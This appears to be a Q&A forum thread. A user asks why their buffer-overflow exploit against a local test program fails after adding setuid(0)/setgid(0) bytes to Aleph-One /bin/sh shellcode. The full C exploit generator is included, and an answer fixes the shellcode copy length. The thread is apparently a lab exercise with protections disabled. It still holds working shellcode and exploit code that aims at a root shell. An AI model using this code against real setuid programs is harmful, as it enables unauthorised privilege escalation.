1

I tried to exploiting buffer overflow. In the exploit code I use the Aleph-One shellcode.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

Exploitation is normal, but I modified a little shellcode In order to execute setuid(0) and setgid(0), on exploit I have changed the owner of the exploit into root.

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

When in execution, I get the message Illegal Instruction (core dumped)

Note:

  1. I have disabled ASLR
  2. The vulnerable and exploit programs are compiled using flag -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

Complete exploit code :

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *prog = "./bof4";
char shellcode[] = 
   //"\xeb\x0appssssffff"
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv) {
    char buff[111];
    int i, j;
    int addr;

    if (argc > 1)
            sscanf(*(argv+1), "%x", &addr);
    else
            exit(0);
    for (i = 0; i < 35; i++) {
            *(buff+i) = 0x90;
    }
    for (j = 0; j < 45; j++, i++) {
            *(buff+i) = *(shellcode+j);
    }
    for (; i + 4 < 110; i += 4) {
            memcpy(buff+i, &addr, 4);
    }
    buff[108] = 0;
    fwrite(buff, strlen(buff), 1, stdout);
}

Can anyone explain ?

0

Just by guessing as you has the core dump and could check that for sure.

Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle?

Extend your second loop by 16 and check.

for (j = 0; j < 61; j++, i++) {
    *(buff+i) = *(shellcode+j);
}
  • Why I get Segmentation fault (core dumped) ? Do I have to change 35 bytes on the first loop ? – Febriyanto Nugroho May 22 '17 at 6:20
  • the first loop looks like nop-sled, I don't think it matters. If you have the dump can you check where it fails? – Paweł Łukasik May 22 '17 at 6:28
  • I do not have core file – Febriyanto Nugroho May 22 '17 at 6:43
  • set the ulimit and repeat. The core should be created – Paweł Łukasik May 22 '17 at 7:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.